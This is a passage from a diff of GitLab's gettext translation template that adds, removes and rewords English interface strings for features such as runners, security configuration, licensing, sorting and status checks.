-msgstr ""
-
msgid "Remove parent epic from an epic"
msgstr ""
-msgid "Remove primary node"
-msgstr ""
-
msgid "Remove priority"
msgstr ""
@@ -27245,9 +26954,6 @@ msgstr ""
msgid "Remove secondary email"
msgstr ""
-msgid "Remove secondary node"
-msgstr ""
-
msgid "Remove spent time"
msgstr ""
@@ -27395,15 +27101,18 @@ msgstr ""
msgid "Reopens this %{quick_action_target}."
msgstr ""
-msgid "Repair authentication"
+msgid "Replace"
msgstr ""
-msgid "Replace"
+msgid "Replace %{name}"
msgstr ""
msgid "Replace all label(s)"
msgstr ""
+msgid "Replace file"
+msgstr ""
+
msgid "Replaced all labels with %{label_references} %{label_text}."
msgstr ""
@@ -27413,15 +27122,6 @@ msgstr ""
msgid "Replication"
msgstr ""
-msgid "Replication details"
-msgstr ""
-
-msgid "Replication enabled"
-msgstr ""
-
-msgid "Replication paused"
-msgstr ""
-
msgid "Reply by email"
msgstr ""
@@ -27815,6 +27515,9 @@ msgstr[0] ""
msgid "Requires values to meet regular expression requirements."
msgstr ""
+msgid "Requires your primary GitLab email address."
+msgstr ""
+
msgid "Resend"
msgstr ""
@@ -27965,12 +27668,6 @@ msgstr ""
msgid "Resync"
msgstr ""
-msgid "Resync all"
-msgstr ""
-
-msgid "Resync all %{replicableType}"
-msgstr ""
-
msgid "Retry"
msgstr ""
@@ -27986,9 +27683,6 @@ msgstr ""
msgid "Retry this job in order to create the necessary resources."
msgstr ""
-msgid "Retry update"
-msgstr ""
-
msgid "Retry verification"
msgstr ""
@@ -28081,6 +27775,9 @@ msgstr ""
msgid "RightSidebar|deleting the"
msgstr ""
+msgid "Rnners|Don't see what you are looking for? See the full list of options, including a fully customizable option, %{linkStart}here%{linkEnd}."
+msgstr ""
+
msgid "Roadmap"
msgstr ""
@@ -28090,9 +27787,6 @@ msgstr ""
msgid "Rollback"
msgstr ""
-msgid "Rook"
-msgstr ""
-
msgid "Ruby"
msgstr ""
@@ -28159,12 +27853,21 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. Non-spot. Default choice for Linux Docker executor."
+msgstr ""
+
msgid "Runners|An error has occurred fetching instructions"
msgstr ""
msgid "Runners|Architecture"
msgstr ""
+msgid "Runners|Are you sure you want to delete this runner?"
+msgstr ""
+
msgid "Runners|Can run untagged jobs"
msgstr ""
@@ -28174,6 +27877,9 @@ msgstr ""
msgid "Runners|Copy instructions"
msgstr ""
+msgid "Runners|Deploy GitLab Runner in AWS"
+msgstr ""
+
msgid "Runners|Description"
msgstr ""
@@ -28183,9 +27889,18 @@ msgstr ""
msgid "Runners|Download latest binary"
msgstr ""
+msgid "Runners|Enter the number of seconds. This timeout takes precedence over lower timeouts set for the project."
+msgstr ""
+
+msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
+msgstr ""
+
msgid "Runners|IP Address"
msgstr ""
+msgid "Runners|If you do not select an AWS VPC, the runner will deploy to the Default VPC in the AWS Region you select. Please consult with your AWS administrator to understand if there are any security risks to deploying into the Default VPC in any given region in your AWS account."
+msgstr ""
+
msgid "Runners|Install a runner"
msgstr ""
@@ -28198,9 +27913,15 @@ msgstr ""
msgid "Runners|Maximum job timeout"
msgstr ""
+msgid "Runners|Members of the %{type} can register runners"
+msgstr ""
+
msgid "Runners|Name"
msgstr ""
+msgid "Runners|New registration token generated!"
+msgstr ""
+
msgid "Runners|New runner, has not connected yet"
msgstr ""
@@ -28243,12 +27964,18 @@ msgstr ""
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner registration"
+msgstr ""
+
msgid "Runners|Shared runners are available to every project in a GitLab instance. If you want a runner to build only specific projects, restrict the project in the table below. After you restrict a runner to a project, you cannot change it back to a shared runner."
msgstr ""
msgid "Runners|Show Runner installation instructions"
msgstr ""
+msgid "Runners|Something went wrong while fetching the tags suggestions"
+msgstr ""
+
msgid "Runners|Tags"
msgstr ""
@@ -28279,6 +28006,12 @@ msgstr ""
msgid "Runners|View installation instructions"
msgstr ""
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. %{percentage} spot."
+msgstr ""
+
+msgid "Runners|Windows 2019 Shell with manual scaling and optional scheduling. Non-spot. Default choice for Windows Shell executor."
+msgstr ""
+
msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
msgstr ""
@@ -28357,6 +28090,12 @@ msgstr ""
msgid "SSH keys allow you to establish a secure connection between your computer and GitLab."
msgstr ""
+msgid "SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys can not be used:"
+msgstr ""
+
+msgid "SSH keys with the following fingerprints have expired and can no longer be used:"
+msgstr ""
+
msgid "SSH public key"
msgstr ""
@@ -28408,10 +28147,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
-msgstr ""
-
-msgid "Saved scan settings and target site settings which are reusable."
+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28444,6 +28180,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28495,6 +28234,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28579,9 +28321,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28701,12 +28440,6 @@ msgstr[0] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28773,6 +28506,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28794,6 +28530,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28803,6 +28542,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -28827,9 +28572,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -28839,12 +28593,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -28857,7 +28620,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -28866,6 +28632,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -28878,6 +28650,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -28890,7 +28683,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -28953,6 +28746,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29058,6 +28854,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29160,9 +28959,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29193,9 +28989,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29298,9 +29100,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29394,7 +29193,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29433,10 +29232,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29478,9 +29277,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29523,6 +29319,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29613,6 +29412,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29793,9 +29595,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29820,6 +29619,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -29844,9 +29646,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -29874,9 +29673,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -29910,12 +29706,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -29960,6 +29750,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30293,9 +30086,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30398,6 +30188,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30464,12 +30257,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30503,9 +30290,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30548,9 +30332,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30602,6 +30383,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30620,6 +30404,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30722,15 +30509,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -30947,12 +30725,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -30971,7 +30755,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31001,6 +30785,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31088,6 +30875,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31097,9 +30887,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31454,6 +31241,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31472,7 +31262,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31544,9 +31340,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31559,7 +31352,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31607,7 +31400,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31622,7 +31415,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31631,10 +31424,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -31826,6 +31619,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32176,7 +31972,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32185,6 +31981,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32194,6 +31993,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32227,9 +32029,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32263,7 +32062,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32293,6 +32092,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32366,6 +32168,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32387,15 +32192,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32480,18 +32285,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32555,9 +32354,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32576,10 +32372,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32594,9 +32390,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32606,9 +32399,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32627,9 +32417,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32771,9 +32558,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -32894,6 +32678,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -32969,6 +32756,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33002,7 +32792,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33098,6 +32888,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33137,9 +32930,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33224,7 +33014,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -33961,9 +33751,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34048,9 +33844,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34150,9 +33943,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34165,6 +33967,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34213,6 +34018,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34691,12 +34505,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34787,21 +34595,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -34937,9 +34730,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35276,9 +35066,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35408,6 +35204,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35705,9 +35504,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35717,9 +35513,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35801,9 +35603,6 @@ msgstr ""
